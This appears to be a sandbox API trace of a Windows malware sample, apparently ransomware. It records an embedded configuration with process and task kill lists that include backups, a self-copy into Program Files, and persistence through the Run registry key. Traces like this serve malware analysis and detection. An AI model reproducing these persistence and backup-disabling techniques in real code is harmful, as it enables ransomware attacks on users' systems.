0x4121b0 [0031.931] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x412148 [0031.931] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4121b0, Size=0xf8) returned 0x4121b0 [0031.931] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x412168 [0031.931] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4121b0, Size=0xfc) returned 0x4121b0 [0031.931] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x412188 [0031.931] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4121b0, Size=0x100) returned 0x4121b0 [0031.931] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x4122d0 [0031.931] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4121b0, Size=0x104) returned 0x412ab8 [0031.931] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x4122f0 [0031.931] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x412ab8, Size=0x108) returned 0x412ab8 [0031.931] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x412310 [0031.931] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40bfa0, Size=0xc) returned 0x4037d0 [0031.931] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x412330 [0031.931] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4) returned 0x40bfa0 [0031.931] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x412350 [0031.931] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40bfa0, Size=0x8) returned 0x40bf80 [0031.931] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x412370 [0031.931] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40bf80, Size=0xc) returned 0x403818 [0031.931] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x412390 [0031.931] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x403818, Size=0x10) returned 0x403830 [0031.931] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x4123b0 [0031.931] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x403830, Size=0x14) returned 0x4123d0 [0031.931] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x4123f0 [0031.931] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4123d0, Size=0x18) returned 0x412410 [0031.931] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x4123d0 [0031.931] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x412410, Size=0x1c) returned 0x40f418 [0031.931] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x412410 [0031.931] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40f418, Size=0x20) returned 0x40f3f0 [0031.931] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x412430 [0031.931] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40f3f0, Size=0x24) returned 0x4084d0 [0031.931] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x412450 [0031.931] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4084d0, Size=0x28) returned 0x4084a0 [0031.931] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x412470 [0031.931] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4084a0, Size=0x2c) returned 0x40a758 [0031.932] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x412490 [0031.932] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40a758, Size=0x30) returned 0x40a720 [0031.932] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x4124b0 [0031.932] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40a720, Size=0x34) returned 0x409928 [0031.932] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x4124d0 [0031.932] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x409928, Size=0x38) returned 0x409968 [0031.932] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x4124f0 [0031.932] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x409968, Size=0x3c) returned 0x4021c8 [0031.932] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x412510 [0031.932] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4021c8, Size=0x40) returned 0x402210 [0031.932] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x412530 [0031.932] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x402210, Size=0x44) returned 0x40fbc0 [0031.932] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x412550 [0031.932] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fbc0, Size=0x48) returned 0x40fbc0 [0031.932] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x412570 [0031.932] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fbc0, Size=0x4c) returned 0x40fbc0 [0031.932] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x412590 [0031.932] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fbc0, Size=0x50) returned 0x40fbc0 [0031.932] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x4125b0 [0031.932] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fbc0, Size=0x54) returned 0x40fbc0 [0031.932] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x4125d0 [0031.932] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fbc0, Size=0x58) returned 0x40fbc0 [0031.932] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x4125f0 [0031.932] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fbc0, Size=0x5c) returned 0x40fbc0 [0031.932] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x412610 [0031.932] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fbc0, Size=0x60) returned 0x40fbc0 [0031.932] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x412630 [0031.932] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fbc0, Size=0x64) returned 0x40fbc0 [0031.932] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x412650 [0031.932] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fbc0, Size=0x68) returned 0x40fbc0 [0031.932] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x412670 [0031.932] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fbc0, Size=0x6c) returned 0x40fbc0 [0031.932] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x412690 [0031.932] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fbc0, Size=0x70) returned 0x40fbc0 [0031.933] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x4126b0 [0031.933] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fbc0, Size=0x74) returned 0x40fbc0 [0031.933] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x4126d0 [0031.933] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fbc0, Size=0x78) returned 0x40fbc0 [0031.933] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x4126f0 [0031.933] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fbc0, Size=0x7c) returned 0x40fbc0 [0031.933] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x412710 [0031.933] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fbc0, Size=0x80) returned 0x40fbc0 [0031.933] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x412730 [0031.933] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fbc0, Size=0x84) returned 0x40fbc0 [0031.933] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x412750 [0031.933] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fbc0, Size=0x88) returned 0x40fbc0 [0031.933] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x412770 [0031.933] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fbc0, Size=0x8c) returned 0x40fbc0 [0031.933] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x412790 [0031.933] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40fbc0, Size=0x90) returned 0x40fbc0 [0031.933] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x4127b0 [0031.933] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4037d0, Size=0x10) returned 0x403830 [0031.933] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x4127d0 [0031.933] strtol (in: _Str="20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}", _EndPtr=0xef9b0, _Radix=0 | out: _EndPtr=0xef9b0*=",\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}") returned 20 [0031.933] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x403830, Size=0x14) returned 0x4127f0 [0031.933] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x412810 [0031.933] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4) returned 0x40bf80 [0031.933] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x412830 [0031.933] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40bf80, Size=0x8) returned 0x40bfa0 [0031.933] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x412850 [0031.933] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40bfa0, Size=0xc) returned 0x403830 [0031.933] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x412870 [0031.933] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x403830, Size=0x10) returned 0x4037d0 [0031.933] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x412890 [0031.933] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4037d0, Size=0x14) returned 0x4128b0 [0031.934] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4128b0, Size=0x18) returned 0x4128f0 [0031.934] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x4128f0, Size=0x1c) returned 0x40f3f0 [0031.934] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40a790, Size=0x34) returned 0x409968 [0031.934] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40bfa0, Size=0x8) returned 0x40bf80 [0031.934] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40bfa0, Size=0x8) returned 0x40bf90 [0031.934] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40bf90, Size=0xc) returned 0x4037d0 [0031.934] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40bf90, Size=0x8) returned 0x40bfa0 [0031.934] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x409968, Size=0x38) returned 0x409928 [0031.934] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40bf90, Size=0x8) returned 0x40bfb0 [0031.934] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40bf90, Size=0x8) returned 0x40bfc0 [0031.934] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40bf90, Size=0x8) returned 0x40bfd0 [0031.934] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40bfd0, Size=0xc) returned 0x403830 [0031.935] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40bfc0, Size=0xc) returned 0x403818 [0031.935] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40bfc0, Size=0x8) returned 0x40bfd0 [0031.938] GetVersion () returned 0x1db10106 [0031.938] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x4162a0 | out: Wow64Process=0x4162a0) returned 1 [0031.938] GetCurrentProcessId () returned 0x944 [0031.938] NtOpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0xf01ff, TokenHandle=0xefa58 | out: TokenHandle=0xefa58*=0x104) returned 0x0 [0031.938] GetTokenInformation (in: TokenHandle=0x104, TokenInformationClass=0x1, TokenInformation=0x416320, TokenInformationLength=0x100, ReturnLength=0xefa6c | out: TokenInformation=0x416320, ReturnLength=0xefa6c) returned 1 [0031.938] IsWellKnownSid (pSid=0x416328*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), WellKnownSidType=0x16) returned 0 [0031.938] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x416320) returned 1 [0031.938] GetComputerNameExW (in: NameType=0x0, lpBuffer=0x0, nSize=0xefa54 | out: lpBuffer=0x0, nSize=0xefa54) returned 0 [0031.938] GetLastError () returned 0xea [0031.938] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x16) returned 0x40e5e0 [0031.938] GetComputerNameExW (in: NameType=0x0, lpBuffer=0x40e5e0, nSize=0xefa54 | out: lpBuffer="XDUWTFONO", nSize=0xefa54) returned 1 [0031.939] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xf4) returned 0x416320 [0031.939] GetCurrentHwProfileW (in: lpHwProfileInfo=0x416320 | out: lpHwProfileInfo=0x416320) returned 1 [0031.939] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x416420 [0031.939] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x40f850 [0031.939] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40f850) returned 1 [0031.939] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x40f850 [0031.939] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x40f878 [0031.941] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40f878) returned 1 [0031.941] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x41) returned 0x412268 [0031.941] sprintf (in: _Dest=0x412268, _Format="%0.2x" | out: _Dest="cd") returned 2 [0031.941] sprintf (in: _Dest=0x41226a, _Format="%0.2x" | out: _Dest="46") returned 2 [0031.941] sprintf (in: _Dest=0x41226c, _Format="%0.2x" | out: _Dest="de") returned 2 [0031.941] sprintf (in: _Dest=0x41226e, _Format="%0.2x" | out: _Dest="9c") returned 2 [0031.941] sprintf (in: _Dest=0x412270, _Format="%0.2x" | out: _Dest="ac") returned 2 [0031.941] sprintf (in: _Dest=0x412272, _Format="%0.2x" | out: _Dest="99") returned 2 [0031.941] sprintf (in: _Dest=0x412274, _Format="%0.2x" | out: _Dest="fb") returned 2 [0031.941] sprintf (in: _Dest=0x412276, _Format="%0.2x" | out: _Dest="0a") returned 2 [0031.942] sprintf (in: _Dest=0x412278, _Format="%0.2x" | out: _Dest="8b") returned 2 [0031.942] sprintf (in: _Dest=0x41227a, _Format="%0.2x" | out: _Dest="d5") returned 2 [0031.942] sprintf (in: _Dest=0x41227c, _Format="%0.2x" | out: _Dest="ce") returned 2 [0031.942] sprintf (in: _Dest=0x41227e, _Format="%0.2x" | out: _Dest="70") returned 2 [0031.942] sprintf (in: _Dest=0x412280, _Format="%0.2x" | out: _Dest="e3") returned 2 [0031.942] sprintf (in: _Dest=0x412282, _Format="%0.2x" | out: _Dest="6a") returned 2 [0031.942] sprintf (in: _Dest=0x412284, _Format="%0.2x" | out: _Dest="f2") returned 2 [0031.942] sprintf (in: _Dest=0x412286, _Format="%0.2x" | out: _Dest="12") returned 2 [0031.942] sprintf (in: _Dest=0x412288, _Format="%0.2x" | out: _Dest="e3") returned 2 [0031.942] sprintf (in: _Dest=0x41228a, _Format="%0.2x" | out: _Dest="c6") returned 2 [0031.942] sprintf (in: _Dest=0x41228c, _Format="%0.2x" | out: _Dest="bd") returned 2 [0031.942] sprintf (in: _Dest=0x41228e, _Format="%0.2x" | out: _Dest="2e") returned 2 [0031.942] sprintf (in: _Dest=0x412290, _Format="%0.2x" | out: _Dest="1f") returned 2 [0031.942] sprintf (in: _Dest=0x412292, _Format="%0.2x" | out: _Dest="13") returned 2 [0031.942] sprintf (in: _Dest=0x412294, _Format="%0.2x" | out: _Dest="fe") returned 2 [0031.942] sprintf (in: _Dest=0x412296, _Format="%0.2x" | out: _Dest="30") returned 2 [0031.942] sprintf (in: _Dest=0x412298, _Format="%0.2x" | out: _Dest="85") returned 2 [0031.942] sprintf (in: _Dest=0x41229a, _Format="%0.2x" | out: _Dest="86") returned 2 [0031.942] sprintf (in: _Dest=0x41229c, _Format="%0.2x" | out: _Dest="c8") returned 2 [0031.942] sprintf (in: _Dest=0x41229e, _Format="%0.2x" | out: _Dest="5e") returned 2 [0031.942] sprintf (in: _Dest=0x4122a0, _Format="%0.2x" | out: _Dest="ff") returned 2 [0031.942] sprintf (in: _Dest=0x4122a2, _Format="%0.2x" | out: _Dest="0a") returned 2 [0031.942] sprintf (in: _Dest=0x4122a4, _Format="%0.2x" | out: _Dest="87") returned 2 [0031.942] sprintf (in: _Dest=0x4122a6, _Format="%0.2x" | out: _Dest="38") returned 2 [0031.942] RtlInitAnsiString (in: DestinationString=0xefa04, SourceString="cd46de9cac99fb0a8bd5ce70e36af212e3c6bd2e1f13fe308586c85eff0a8738" | out: DestinationString="cd46de9cac99fb0a8bd5ce70e36af212e3c6bd2e1f13fe308586c85eff0a8738") [0031.942] RtlAnsiStringToUnicodeString (in: DestinationString=0xefa0c, SourceString="cd46de9cac99fb0a8bd5ce70e36af212e3c6bd2e1f13fe308586c85eff0a8738", AllocateDestinationString=1 | out: DestinationString="cd46de9cac99fb0a8bd5ce70e36af212e3c6bd2e1f13fe308586c85eff0a8738") returned 0x0 [0031.942] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x82) returned 0x416540 [0031.943] RtlFreeAnsiString (AnsiString="c") [0031.943] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x4153b0 [0031.943] wcscpy (in: _Dest=0x4153b0, _Source="\\\\" | out: _Dest="\\\\") returned="\\\\" [0031.943] wcscat (in: _Dest=0x4153b0, _Source="XDUWTFONO" | out: _Dest="\\\\XDUWTFONO") returned="\\\\XDUWTFONO" [0031.943] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4) returned 0x40bf50 [0031.943] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x4153d0 [0031.943] wcscpy (in: _Dest=0x4153d0, _Source="\\\\XDUWTFONO" | out: _Dest="\\\\XDUWTFONO") returned="\\\\XDUWTFONO" [0031.943] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4153b0) returned 1 [0031.943] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40f850) returned 1 [0031.943] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x416420) returned 1 [0031.943] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x416320) returned 1 [0031.943] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x12) returned 0x4153b0 [0031.943] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x12) returned 0x4153f0 [0031.943] wcscpy (in: _Dest=0x4153f0, _Source="cd46de9c" | out: _Dest="cd46de9c") returned="cd46de9c" [0031.943] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20a) returned 0x418528 [0031.943] wcscpy (in: _Dest=0x418528, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\22.exe" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\22.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\22.exe" [0031.943] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20a) returned 0x418740 [0031.943] SHGetFolderPathW (in: hwnd=0x0, csidl=42, hToken=0x0, dwFlags=0x0, pszPath=0x418740 | out: pszPath="C:\\Program Files (x86)") returned 0x0 [0031.945] wcscat (in: _Dest=0x418740, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0031.945] wcscat (in: _Dest=0x418740, _Source="cd46de9c" | out: _Dest="C:\\Program Files (x86)\\cd46de9c") returned="C:\\Program Files (x86)\\cd46de9c" [0031.945] CreateDirectoryW (lpPathName="C:\\Program Files (x86)\\cd46de9c" (normalized: "c:\\program files (x86)\\cd46de9c"), lpSecurityAttributes=0x0) returned 1 [0031.946] wcscat (in: _Dest=0x418740, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\cd46de9c\\") returned="C:\\Program Files (x86)\\cd46de9c\\" [0031.947] wcscat (in: _Dest=0x418740, _Source="cd46de9c" | out: _Dest="C:\\Program Files (x86)\\cd46de9c\\cd46de9c") returned="C:\\Program Files (x86)\\cd46de9c\\cd46de9c" [0031.947] wcscat (in: _Dest=0x418740, _Source=".exe" | out: _Dest="C:\\Program Files (x86)\\cd46de9c\\cd46de9c.exe") returned="C:\\Program Files (x86)\\cd46de9c\\cd46de9c.exe" [0031.947] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\22.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\22.exe"), lpNewFileName="C:\\Program Files (x86)\\cd46de9c\\cd46de9c.exe" (normalized: "c:\\program files (x86)\\cd46de9c\\cd46de9c.exe"), bFailIfExists=0) returned 1 [0031.957] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="software\\microsoft\\windows\\currentversion\\run", ulOptions=0x0, samDesired=0x2011f, phkResult=0xef9bc | out: phkResult=0xef9bc*=0x114) returned 0x0 [0031.957] RegSetValueExW (in: hKey=0x114, lpValueName="cd46de9c", Reserved=0x0, dwType=0x1, lpData="C:\\Program Files (x86)\\cd46de9c\\cd46de9c.exe", cbData=0x5a | out: lpData="C:\\Program Files (x86)\\cd46de9c\\cd46de9c.exe") returned 0x0 [0031.958] wcscpy (in: _Dest=0x87198, _Source="C:\\Program Files (x86)\\cd46de9c\\cd46de9c.exe" | out: _Dest="C:\\Program Files (x86)\\cd46de9c\\cd46de9c.exe") returned="C:\\Program Files (x86)\\cd46de9c\\cd46de9c.exe" [0031.958] RegFlushKey (hKey=0x114) returned 0x0 [0031.988] RegCloseKey (hKey=0x114) returned 0x0 [0031.988] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418740) returned 1 [0031.988] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x40f8c8 [0031.988] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x40f8f0 [0031.988] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x40f918 [0031.988] NtQuerySystemTime (in: CurrentTime=0xefa18 | out: CurrentTime=0xefa18*=132174897984996000) returned 0x0 [0031.988] RtlRandomEx (in: Seed=0xefa24 | out: Seed=0xefa24) returned 0x449ce6cd [0031.988] RtlRandomEx (in: Seed=0xefa24 | out: Seed=0xefa24) returned 0x1e3f7ffc [0031.988] RtlRandomEx (in: Seed=0xefa24 | out: Seed=0xefa24) returned 0x663a85f9 [0031.988] RtlRandomEx (in: Seed=0xefa24 | out: Seed=0xefa24) returned 0x19cefe60 [0031.988] RtlRandomEx (in: Seed=0xefa24 | out: Seed=0xefa24) returned 0x5373620 [0031.988] RtlRandomEx (in: Seed=0xefa24 | out: Seed=0xefa24) returned 0x7234ea2 [0031.989] RtlRandomEx (in: Seed=0xefa24 | out: Seed=0xefa24) returned 0x38e75687 [0031.989] RtlRandomEx (in: Seed=0xefa24 | out: Seed=0xefa24) returned 0x69696a1d [0031.989] RtlRandomEx (in: Seed=0xefa24 | out: Seed=0xefa24) returned 0x771883fc [0031.989] RtlRandomEx (in: Seed=0xefa24 | out: Seed=0xefa24) returned 0x1378a98b [0031.989] RtlRandomEx (in: Seed=0xefa24 | out: Seed=0xefa24) returned 0x6a8f746e [0031.989] RtlRandomEx (in: Seed=0xefa24 | out: Seed=0xefa24) returned 0xf7a24c2 [0031.989] RtlRandomEx (in: Seed=0xefa24 | out: Seed=0xefa24) returned 0x5dab4a20 [0031.989] RtlRandomEx (in: Seed=0xefa24 | out: Seed=0xefa24) returned 0x6975d72c [0031.989] RtlRandomEx (in: Seed=0xefa24 | out: Seed=0xefa24) returned 0x5980ddf9 [0031.989] RtlRandomEx (in: Seed=0xefa24 | out: Seed=0xefa24) returned 0x2c8af81f [0031.989] RtlRandomEx (in: Seed=0xefa24 | out: Seed=0xefa24) returned 0x5d7cc42f [0031.989] RtlRandomEx (in: Seed=0xefa24 | out: Seed=0xefa24) returned 0x62a1776a [0031.989] RtlRandomEx (in: Seed=0xefa24 | out: Seed=0xefa24) returned 0x3c1f013f [0031.989] RtlRandomEx (in: Seed=0xefa24 | out: Seed=0xefa24) returned 0x18ff69ff [0031.989] RtlRandomEx (in: Seed=0xefa24 | out: Seed=0xefa24) returned 0x694724c3 [0031.989] RtlRandomEx (in: Seed=0xefa24 | out: Seed=0xefa24) returned 0x45d1e94d [0031.989] RtlRandomEx (in: Seed=0xefa24 | out: Seed=0xefa24) returned 0x3b071019 [0031.989] RtlRandomEx (in: Seed=0xefa24 | out: Seed=0xefa24) returned 0x293b1d13 [0031.989] RtlRandomEx (in: Seed=0xefa24 | out: Seed=0xefa24) returned 0x16ea2c37 [0031.989] RtlRandomEx (in: Seed=0xefa24 | out: Seed=0xefa24) returned 0x696a51ba [0031.989] RtlRandomEx (in: Seed=0xefa24 | out: Seed=0xefa24) returned 0x2a05c35b [0031.989] RtlRandomEx (in: Seed=0xefa24 | out: Seed=0xefa24) returned 0x5694201d [0031.989] RtlRandomEx (in: Seed=0xefa24 | out: Seed=0xefa24) returned 0x4f4a3ef4 [0031.989] RtlRandomEx (in: Seed=0xefa24 | out: Seed=0xefa24) returned 0x1a022444 [0031.989] RtlRandomEx (in: Seed=0xefa24 | out: Seed=0xefa24) returned 0x436c9c60 [0031.989] RtlRandomEx (in: Seed=0xefa24 | out: Seed=0xefa24) returned 0x6388e3e2 [0032.007] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x40f940 [0032.007] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x40f968 [0032.007] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x40f990 [0032.007] 